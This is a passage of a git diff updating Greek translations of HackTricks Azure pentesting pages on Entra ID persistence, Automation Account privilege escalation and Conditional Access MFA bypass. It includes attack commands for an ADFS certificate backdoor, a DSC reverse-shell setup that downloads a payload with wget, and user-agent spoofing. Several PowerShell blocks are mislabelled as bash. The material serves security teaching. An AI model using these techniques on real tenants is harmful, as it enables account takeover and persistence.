ενοικιαστή) που χρειάζεται δικαιώματα υψηλής επιρροής με συγκατάθεση διαχειριστή (και να την εγκρίνετε αν είστε ο διαχειριστής) - όπως η αποστολή email εκ μέρους ενός χρήστη, η διαχείριση ρόλων κ.λπ. Αυτό θα μας επιτρέψει να **εκτελέσουμε επιθέσεις phishing** που θα ήταν πολύ **κερδοφόρες** σε περίπτωση επιτυχίας. +Από προεπιλογή, οποιοσδήποτε χρήστης μπορεί να καταχωρήσει μια εφαρμογή στο Azure AD. Έτσι, μπορείτε να καταχωρήσετε μια εφαρμογή (μόνο για τον στοχευμένο ενοικιαστή) που χρειάζεται υψηλές άδειες με έγκριση διαχειριστή (και να την εγκρίνετε αν είστε ο διαχειριστής) - όπως η αποστολή email εκ μέρους ενός χρήστη, η διαχείριση ρόλων κ.λπ. Αυτό θα μας επιτρέψει να **εκτελέσουμε επιθέσεις phishing** που θα ήταν πολύ **κερδοφόρες** σε περίπτωση επιτυχίας. -Επιπλέον, θα μπορούσατε επίσης να αποδεχθείτε αυτή την εφαρμογή με τον χρήστη σας ως έναν τρόπο διατήρησης πρόσβασης σε αυτήν. +Επιπλέον, θα μπορούσατε επίσης να αποδεχθείτε αυτή την εφαρμογή με τον χρήστη σας ως τρόπο διατήρησης πρόσβασης σε αυτήν. -### Εφαρμογές και Υπηρεσίες Principals +### Applications and Service Principals -Με προνόμια Διαχειριστή Εφαρμογών, GA ή έναν προσαρμοσμένο ρόλο με δικαιώματα microsoft.directory/applications/credentials/update, μπορούμε να προσθέσουμε διαπιστευτήρια (μυστικό ή πιστοποιητικό) σε μια υπάρχουσα εφαρμογή. +Με προνόμια Διαχειριστή Εφαρμογών, GA ή έναν προσαρμοσμένο ρόλο με άδειες microsoft.directory/applications/credentials/update, μπορούμε να προσθέσουμε διαπιστευτήρια (μυστικό ή πιστοποιητικό) σε μια υπάρχουσα εφαρμογή. -Είναι δυνατόν να **στοχεύσουμε μια εφαρμογή με υψηλά δικαιώματα** ή **να προσθέσουμε μια νέα εφαρμογή** με υψηλά δικαιώματα. +Είναι δυνατόν να **στοχεύσουμε μια εφαρμογή με υψηλές άδειες** ή **να προσθέσουμε μια νέα εφαρμογή** με υψηλές άδειες. -Ένας ενδιαφέρον ρόλος για να προστεθεί στην εφαρμογή θα ήταν ο **ρόλος διαχειριστή προνομιακής αυθεντικοποίησης** καθώς επιτρέπει να **επαναφέρετε τον κωδικό πρόσβασης** των Παγκόσμιων Διαχειριστών. +Ένας ενδιαφέρον ρόλος για να προστεθεί στην εφαρμογή θα ήταν ο **ρόλος διαχειριστή προνομιακής πιστοποίησης** καθώς επιτρέπει την **επανεκκίνηση κωδικού πρόσβασης** των Παγκόσμιων Διαχειριστών. Αυτή η τεχνική επιτρέπει επίσης να **παρακαμφθεί το MFA**. -```powershell +```bash $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - Για την αυθεντικοποίηση με βάση το πιστοποιητικό -```powershell +```bash Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` ### Federation - Token Signing Certificate Με **δικαιώματα DA** σε on-prem AD, είναι δυνατόν να δημιουργήσουμε και να εισάγουμε **νέα πιστοποιητικά υπογραφής Token** και **πιστοποιητικά αποκρυπτογράφησης Token** που έχουν πολύ μεγάλη διάρκεια ισχύος. Αυτό θα μας επιτρέψει να **συνδεθούμε ως οποιοσδήποτε χρήστης** του οποίου το ImuutableID γνωρίζουμε. -**Εκτελέστε** την παρακάτω εντολή ως **DA στον ADFS server(s)** για να δημιουργήσετε νέα πιστοποιητικά (προεπιλεγμένος κωδικός πρόσβασης 'AADInternals'), να τα προσθέσετε στο ADFS, να απενεργοποιήσετε την αυτόματη ανανέωση και να επανεκκινήσετε την υπηρεσία: -```powershell +**Εκτελέστε** την παρακάτω εντολή ως **DA στους ADFS server(s)** για να δημιουργήσετε νέα πιστοποιητικά (προεπιλεγμένος κωδικός πρόσβασης 'AADInternals'), να τα προσθέσετε στο ADFS, να απενεργοποιήσετε την αυτόματη ανανέωση και να επανεκκινήσετε την υπηρεσία: +```bash New-AADIntADFSSelfSignedCertificates ``` Στη συνέχεια, ενημερώστε τις πληροφορίες πιστοποίησης με το Azure AD: -```powershell +```bash Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` -### Ομοσπονδία - Εμπιστευμένος Τομέας +### Federation - Trusted Domain -Με δικαιώματα GA σε έναν ενοικιαστή, είναι δυνατόν να **προσθέσετε έναν νέο τομέα** (πρέπει να επαληθευτεί), να ρυθμίσετε τον τύπο αυθεντικοποίησής του σε Ομοσπονδία και να ρυθμίσετε τον τομέα να **εμπιστεύεται ένα συγκεκριμένο πιστοποιητικό** (any.sts στην παρακάτω εντολή) και εκδότη: -```powershell +Με δικαιώματα GA σε έναν ενοικιαστή, είναι δυνατόν να **προσθέσετε ένα νέο τομέα** (πρέπει να επαληθευτεί), να ρυθμίσετε τον τύπο αυθεντικοποίησής του σε Federated και να ρυθμίσετε τον τομέα να **εμπιστεύεται ένα συγκεκριμένο πιστοποιητικό** (any.sts στην παρακάτω εντολή) και εκδότη: +```bash # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index b3fa5bc7e..989a4aed9 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -4,7 +4,7 @@ ## Azure Automation Accounts -Για περισσότερες πληροφορίες, ελέγξτε: +Για περισσότερες πληροφορίες ελέγξτε: {{#ref}} ../az-services/az-automation-accounts.md @@ -12,16 +12,16 @@ ### Hybrid Workers Group -Θυμηθείτε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM. +Να θυμάστε ότι αν με κάποιο τρόπο ένας επιτιθέμενος μπορεί να εκτελέσει ένα αυθαίρετο runbook (αυθαίρετος κώδικας) σε έναν υβριδικό εργαζόμενο, θα **μεταβεί στην τοποθεσία της VM**. Αυτό θα μπορούσε να είναι μια τοπική μηχανή, μια VPC από διαφορετικό cloud ή ακόμη και μια Azure VM. Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες Συνδεδεμένες Ταυτότητες, το runbook θα μπορεί να έχει πρόσβαση στην **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες της VM από την υπηρεσία μεταδεδομένων**. > [!TIP] -> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το token των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**). +> Να θυμάστε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου λαμβάνετε το token των διαχειριζόμενων ταυτοτήτων του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**). ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθείσες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που αποθηκεύονται στον Λογαριασμό Αυτοματοποίησης. +Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο θα μπορούσατε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθειμένες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που αποθηκεύονται στον Λογαριασμό Αυτοματοποίησης. Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει την τροποποίηση του κώδικα ενός Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας: ```bash @@ -64,7 +64,7 @@ az automation runbook create --automation-account-name --resource ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενη από τον χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας: +Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενου χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -104,7 +104,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατή η ανάθεση ενός Scheduler σε ένα runbook χρησιμοποιώντας: +Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατόν να ανατεθεί ένας Προγραμματιστής σε ένα runbook χρησιμοποιώντας: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -127,7 +127,7 @@ az rest --method PUT \ ### `Microsoft.Automation/automationAccounts/webhooks/write` -Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατόν να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή. +Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατό να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή. Σημειώστε ότι θα χρειαστεί να **υποδείξετε το URI του webhook** με το token που θα χρησιμοποιήσετε. ```bash @@ -199,11 +199,11 @@ az automation source-control create \ Επιπλέον, θυμηθείτε ότι για να λειτουργήσει ο έλεγχος πηγής στους Λογαριασμούς Αυτοματοποίησης, πρέπει να έχει μια διαχειριζόμενη ταυτότητα με τον ρόλο **`Contributor`** και αν είναι διαχειριζόμενη ταυτότητα χρήστη, το client id της MI πρέπει να καθοριστεί στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του repo ενός ελέγχου πηγής μόλις δημιουργηθεί. +> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του αποθετηρίου ενός ελέγχου πηγής μόλις δημιουργηθεί. ### `Microsoft.Automation/automationAccounts/variables/write` -Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατό να γράψετε μεταβλητές στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας την παρακάτω εντολή. +Με την άδεια **`Microsoft.Automation/automationAccounts/variables/write`** είναι δυνατόν να γράψετε μεταβλητές στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας την παρακάτω εντολή. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -219,7 +219,7 @@ az rest --method PUT \ ``` ### Custom Runtime Environments -Εάν ένας λογαριασμός αυτοματοποίησης χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται. +Αν ένας λογαριασμός αυτοματισμού χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **ένα backdoor**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται. ### Compromising State Configuration @@ -236,22 +236,22 @@ az rest --method PUT \ - Step 2 — Zip Configuration File Το `reverse_shell_config.ps1` συμπιέζεται σε ένα αρχείο `.zip`, καθιστώντας το έτοιμο για μεταφορά στον Azure Storage Account. -```powershell +```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` - Βήμα 3 — Ρύθμιση Στοιχείου Αποθήκευσης & Μεταφόρτωση -Το συμπιεσμένο αρχείο ρυθμίσεων μεταφορτώνεται σε ένα προκαθορισμένο δοχείο Αποθήκευσης Azure, azure-pentest, χρησιμοποιώντας την εντολή Set-AzStorageBlobContent του Azure. -```powershell +Το συμπιεσμένο αρχείο ρύθμισης μεταφορτώνεται σε ένα προκαθορισμένο δοχείο Αποθήκευσης Azure, azure-pentest, χρησιμοποιώντας την εντολή Set-AzStorageBlobContent του Azure. +```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` - Βήμα 4 — Προετοιμασία του Kali Box -Ο διακομιστής Kali κατεβάζει το RevPS.ps1 payload από ένα αποθετήριο GitHub. +Ο διακομιστής Kali κατεβάζει το payload RevPS.ps1 από ένα αποθετήριο GitHub. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Το σενάριο επεξεργάζεται για να καθορίσει το στόχο Windows VM και την πόρτα για το reverse shell. +Το σενάριο επεξεργάζεται για να καθορίσει το στοχευμένο Windows VM και την πόρτα για το reverse shell. - Βήμα 5 — Δημοσίευση Αρχείου Ρυθμίσεων diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index bfa643d40..4f5d3eead 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,22 +1,22 @@ -# Az - Πολιτικές Προσβάσεως & Παράκαμψη MFA +# Az - Πολιτικές Προσβάσεως με Όρους & Παράκαμψη MFA {{#include ../../../../banners/hacktricks-training.md}} ## Βασικές Πληροφορίες -Οι πολιτικές προσβάσεως Conditional Access του Azure είναι κανόνες που έχουν ρυθμιστεί στο Microsoft Azure για την επιβολή ελέγχων πρόσβασης σε υπηρεσίες και εφαρμογές του Azure με βάση ορισμένες **συνθήκες**. Αυτές οι πολιτικές βοηθούν τους οργανισμούς να ασφαλίσουν τους πόρους τους εφαρμόζοντας τους κατάλληλους ελέγχους πρόσβασης υπό τις κατάλληλες συνθήκες.\ -Οι πολιτικές προσβάσεως ουσιαστικά **καθορίζουν** **Ποιος** μπορεί να έχει πρόσβαση σε **Τι** από **Που** και **Πως**. +Οι πολιτικές προσβάσεως με όρους του Azure είναι κανόνες που έχουν ρυθμιστεί στο Microsoft Azure για την επιβολή ελέγχων πρόσβασης σε υπηρεσίες και εφαρμογές του Azure με βάση ορισμένες **συνθήκες**. Αυτές οι πολιτικές βοηθούν τους οργανισμούς να ασφαλίσουν τους πόρους τους εφαρμόζοντας τους κατάλληλους ελέγχους πρόσβασης υπό τις κατάλληλες συνθήκες.\ +Οι πολιτικές προσβάσεως με όρους βασικά **καθορίζουν** **Ποιος** μπορεί να έχει πρόσβαση σε **Τι** από **Που** και **Πως**. Ακολουθούν μερικά παραδείγματα: 1. **Πολιτική Κινδύνου Σύνδεσης**: Αυτή η πολιτική θα μπορούσε να ρυθμιστεί ώστε να απαιτεί πολυπαραγοντική αυθεντικοποίηση (MFA) όταν ανιχνεύεται κίνδυνος σύνδεσης. Για παράδειγμα, αν η συμπεριφορά σύνδεσης ενός χρήστη είναι ασυνήθιστη σε σύγκριση με το κανονικό του μοτίβο, όπως η σύνδεση από μια διαφορετική χώρα, το σύστημα μπορεί να ζητήσει επιπλέον αυθεντικοποίηση. -2. **Πολιτική Συμμόρφωσης Συσκευών**: Αυτή η πολιτική μπορεί να περιορίσει την πρόσβαση στις υπηρεσίες Azure μόνο σε συσκευές που συμμορφώνονται με τα πρότυπα ασφαλείας του οργανισμού. Για παράδειγμα, η πρόσβαση θα μπορούσε να επιτρέπεται μόνο από συσκευές που διαθέτουν ενημερωμένο λογισμικό antivirus ή εκτελούν μια συγκεκριμένη έκδοση λειτουργικού συστήματος. +2. **Πολιτική Συμμόρφωσης Συσκευών**: Αυτή η πολιτική μπορεί να περιορίσει την πρόσβαση σε υπηρεσίες του Azure μόνο σε συσκευές που συμμορφώνονται με τα πρότυπα ασφαλείας του οργανισμού. Για παράδειγμα, η πρόσβαση θα μπορούσε να επιτρέπεται μόνο από συσκευές που διαθέτουν ενημερωμένο λογισμικό antivirus ή εκτελούν μια συγκεκριμένη έκδοση λειτουργικού συστήματος. -## Παράκαμψη Πολιτικών Προσβάσεως +## Παράκαμψη Πολιτικών Προσβάσεως με Όρους -Είναι πιθανό μια πολιτική προσβάσεως να **ελέγχει κάποιες πληροφορίες που μπορούν να παραποιηθούν εύκολα επιτρέποντας την παράκαμψη της πολιτικής**. Και αν, για παράδειγμα, η πολιτική ρύθμιζε MFA, ο επιτιθέμενος θα μπορεί να την παρακάμψει. +Είναι πιθανό μια πολιτική προσβάσεως με όρους να **ελέγχει κάποιες πληροφορίες που μπορούν να παραποιηθούν εύκολα επιτρέποντας την παράκαμψη της πολιτικής**. Και αν, για παράδειγμα, η πολιτική ρυθμίζει MFA, ο επιτιθέμενος θα μπορεί να την παρακάμψει. -Κατά τη ρύθμιση μιας πολιτικής προσβάσεως, είναι απαραίτητο να υποδειχθούν οι **χρήστες** που επηρεάζονται και οι **στόχοι πόροι** (όπως όλες οι εφαρμογές cloud). +Κατά τη ρύθμιση μιας πολιτικής προσβάσεως με όρους, είναι απαραίτητο να υποδειχθούν οι **χρήστες** που επηρεάζονται και οι **στόχοι πόροι** (όπως όλες οι εφαρμογές cloud). Είναι επίσης απαραίτητο να ρυθμιστούν οι **συνθήκες** που θα **ενεργοποιήσουν** την πολιτική: @@ -25,7 +25,7 @@ - **Κίνδυνοι Microsoft**: Κίνδυνος χρήστη, κίνδυνος σύνδεσης, κίνδυνος εσωτερικού - **Πλατφόρμες συσκευών**: Οποιαδήποτε συσκευή ή επιλέξτε Android, iOS, Windows phone, Windows, macOS, Linux - Αν δεν έχει επιλεγεί “Οποιαδήποτε συσκευή” αλλά έχουν επιλεγεί όλες οι άλλες επιλογές, είναι δυνατόν να παρακαμφθεί χρησιμοποιώντας έναν τυχαίο user-agent που δεν σχετίζεται με αυτές τις πλατφόρμες -- **Εφαρμογές πελάτη**: Οι επιλογές είναι “Περιηγητής”, “Εφαρμογές κινητών και επιτραπέζιοι πελάτες”, “Exchange ActiveSync πελάτες” και Άλλοι πελάτες” +- **Εφαρμογές πελάτη**: Οι επιλογές είναι “Περιηγητής”, “Εφαρμογές κινητών και επιτραπέζιοι πελάτες”, “Exchange ActiveSync πελάτες” και “Άλλοι πελάτες” - Για να παρακαμφθεί η σύνδεση με μια μη επιλεγμένη επιλογή - **Φίλτρο για συσκευές**: Είναι δυνατόν να δημιουργηθεί ένας κανόνας σχετικός με τη χρησιμοποιούμενη συσκευή - **Ροές αυθεντικοποίησης**: Οι επιλογές είναι “Ροή κωδικού συσκευής” και “Μεταφορά αυθεντικοποίησης” @@ -35,12 +35,12 @@ ### Πλατφόρμες Συσκευών - Συνθήκη Συσκευής -Είναι δυνατόν να ρυθμιστεί μια συνθήκη με βάση την **πλατφόρμα συσκευής** (Android, iOS, Windows, macOS...), ωστόσο, αυτό βασίζεται στον **user-agent** οπότε είναι εύκολο να παρακαμφθεί. Ακόμα και **κάνοντάς όλες τις επιλογές να επιβάλλουν MFA**, αν χρησιμοποιήσετε έναν **user-agent που δεν αναγνωρίζεται,** θα μπορείτε να παρακάμψετε το MFA ή τον αποκλεισμό: +Είναι δυνατόν να ρυθμιστεί μια συνθήκη με βάση την **πλατφόρμα συσκευής** (Android, iOS, Windows, macOS...), ωστόσο, αυτό βασίζεται στον **user-agent** οπότε είναι εύκολο να παρακαμφθεί. Ακόμη και **κάνοντάς όλες τις επιλογές να επιβάλλουν MFA**, αν χρησιμοποιήσετε έναν **user-agent που δεν αναγνωρίζεται,** θα μπορείτε να παρακάμψετε το MFA ή τον αποκλεισμό:
Απλά κάνοντας τον περιηγητή **να στείλει έναν άγνωστο user-agent** (όπως `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) είναι αρκετό για να μην ενεργοποιηθεί αυτή η συνθήκη.\ -Μπορείτε να αλλάξετε τον user agent **χειροκίνητα** στα εργαλεία προγραμματιστή: +Μπορείτε να αλλάξετε τον user agent **χειροκίνητα** στα εργαλεία ανάπτυξης:
@@ -48,15 +48,15 @@ ### Τοποθεσίες: Χώρες, εύρη IP - Συνθήκη Συσκευής -Αν αυτό έχει ρυθμιστεί στην πολιτική προσβάσεως, ένας επιτιθέμενος θα μπορούσε απλά να χρησιμοποιήσει ένα **VPN** στη **επιτρεπόμενη χώρα** ή να προσπαθήσει να βρει έναν τρόπο να αποκτήσει πρόσβαση από μια **επιτρεπόμενη διεύθυνση IP** για να παρακάμψει αυτές τις συνθήκες. +Αν αυτό έχει ρυθμιστεί στην πολιτική προσβάσεως με όρους, ένας επιτιθέμενος θα μπορούσε απλά να χρησιμοποιήσει ένα **VPN** στη **επιτρεπόμενη χώρα** ή να προσπαθήσει να βρει έναν τρόπο πρόσβασης από μια **επιτρεπόμενη διεύθυνση IP** για να παρακάμψει αυτές τις συνθήκες. ### Εφαρμογές Cloud -Είναι δυνατόν να ρυθμιστούν **πολιτικές προσβάσεως για να αποκλείσουν ή να επιβάλουν** για παράδειγμα MFA όταν ένας χρήστης προσπαθεί να αποκτήσει πρόσβαση σε **συγκεκριμένη εφαρμογή**: +Είναι δυνατόν να ρυθμιστούν **πολιτικές προσβάσεως με όρους για να αποκλείσουν ή να επιβάλουν** για παράδειγμα MFA όταν ένας χρήστης προσπαθεί να έχει πρόσβαση σε **συγκεκριμένη εφαρμογή**:
-Για να προσπαθήσετε να παρακάμψετε αυτή την προστασία, θα πρέπει να δείτε αν μπορείτε να **συνδεθείτε μόνο σε οποιαδήποτε εφαρμογή**.\ +Για να προσπαθήσετε να παρακάμψετε αυτή την προστασία, θα πρέπει να δείτε αν μπορείτε **να συνδεθείτε μόνο σε οποιαδήποτε εφαρμογή**.\ Το εργαλείο [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) έχει **δεκάδες αναγνωριστικά εφαρμογών σκληρά κωδικοποιημένα** και θα προσπαθήσει να συνδεθεί σε αυτά και να σας ενημερώσει και να σας δώσει ακόμη και το token αν είναι επιτυχές. Για να **δοκιμάσετε συγκεκριμένα αναγνωριστικά εφαρμογών σε συγκεκριμένους πόρους** μπορείτε επίσης να χρησιμοποιήσετε ένα εργαλείο όπως: @@ -67,7 +67,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 ``` Επιπλέον, είναι επίσης δυνατό να προστατευθεί η μέθοδος σύνδεσης (π.χ. αν προσπαθείτε να συνδεθείτε από τον περιηγητή ή από μια επιτραπέζια εφαρμογή). Το εργαλείο [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) εκτελεί κάποιους ελέγχους για να προσπαθήσει να παρακάμψει αυτές τις προστασίες επίσης. -Το εργαλείο [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) θα μπορούσε επίσης να χρησιμοποιηθεί για παρόμοιους σκοπούς, αν και φαίνεται ότι δεν συντηρείται. +Το εργαλείο [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) θα μπορούσε επίσης να χρησιμοποιηθεί για παρόμοιους σκοπούς αν και φαίνεται ότι δεν συντηρείται. Το εργαλείο [**ROPCI**](https://github.com/wunderwuzzi23/ropci) μπορεί επίσης να χρησιμοποιηθεί για να δοκιμάσει αυτές τις προστασίες και να δει αν είναι δυνατό να παρακαμφθούν οι MFA ή οι αποκλεισμοί, αλλά αυτό το εργαλείο λειτουργεί από μια προοπτική **whitebox**. Πρέπει πρώτα να κατεβάσετε τη λίστα με τις εφαρμογές που επιτρέπονται στον ενοικιαστή και στη συνέχεια θα προσπαθήσει να συνδεθεί σε αυτές. @@ -78,14 +78,14 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 Μια επιλογή Azure MFA είναι να **λάβετε μια κλήση στον ρυθμισμένο αριθμό τηλεφώνου** όπου θα ζητηθεί από τον χρήστη να **στείλει τον χαρακτήρα `#`**. > [!CAUTION] -> Δεδομένου ότι οι χαρακτήρες είναι απλώς **ήχοι**, ένας επιτιθέμενος θα μπορούσε να **παραβιάσει** το **μήνυμα φωνητικού ταχυδρομείου** του αριθμού τηλεφώνου, να ρυθμίσει ως μήνυμα τον **ήχο του `#`** και στη συνέχεια, όταν ζητηθεί η MFA, να διασφαλίσει ότι το **τηλέφωνο του θύματος είναι απασχολημένο** (καλώντας το) ώστε η κλήση του Azure να ανακατευθυνθεί στο φωνητικό ταχυδρομείο. +> Καθώς οι χαρακτήρες είναι απλώς **ήχοι**, ένας επιτιθέμενος θα μπορούσε να **παραβιάσει** το **μήνυμα φωνητικού ταχυδρομείου** του αριθμού τηλεφώνου, να ρυθμίσει ως μήνυμα τον **ήχο του `#`** και στη συνέχεια, όταν ζητηθεί η MFA, να διασφαλίσει ότι το **τηλέφωνο του θύματος είναι απασχολημένο** (καλώντας το) ώστε η κλήση του Azure να ανακατευθυνθεί στο φωνητικό ταχυδρομείο. ### Συμβατές Συσκευές -Οι πολιτικές συχνά ζητούν μια συμβατή συσκευή ή MFA, οπότε ένας **επιτιθέμενος θα μπορούσε να καταχωρίσει μια συμβατή συσκευή**, να αποκτήσει ένα **PRT** token και **να παρακάμψει με αυτόν τον τρόπο την MFA**. +Οι πολιτικές συχνά ζητούν μια συμβατή συσκευή ή MFA, οπότε ένας **επιτιθέμενος θα μπορούσε να καταχωρίσει μια συμβατή συσκευή**, να αποκτήσει ένα **PRT** token και να **παρακάμψει με αυτόν τον τρόπο την MFA**. Ξεκινήστε καταχωρίζοντας μια **συμβατή συσκευή στο Intune**, στη συνέχεια **αποκτήστε το PRT** με: -```powershell +```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials $prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce @@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken Αυτό το σενάριο αποκτά διαπιστευτήρια χρηστών και ελέγχει αν μπορεί να συνδεθεί σε ορισμένες εφαρμογές. -Αυτό είναι χρήσιμο για να δείτε αν **δεν απαιτείται MFA για να συνδεθείτε σε ορισμένες εφαρμογές** που μπορεί αργότερα να εκμεταλλευτείτε για να **κλιμακώσετε τα προνόμια**. +Αυτό είναι χρήσιμο για να δείτε αν **δεν απαιτείται MFA για να συνδεθείτε σε ορισμένες εφαρμογές** που μπορεί αργότερα να εκμεταλλευτείτε για να **κλιμακώσετε προνόμια**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) @@ -126,7 +126,7 @@ Invoke-MFASweep -Username -Password Αυτό το εργαλείο έχει βοηθήσει στην αναγνώριση παρακάμψεων MFA και στη συνέχεια στην κακή χρήση APIs σε πολλούς παραγωγικούς AAD ενοικιαστές, όπου οι πελάτες AAD πίστευαν ότι είχαν επιβληθεί MFA, αλλά 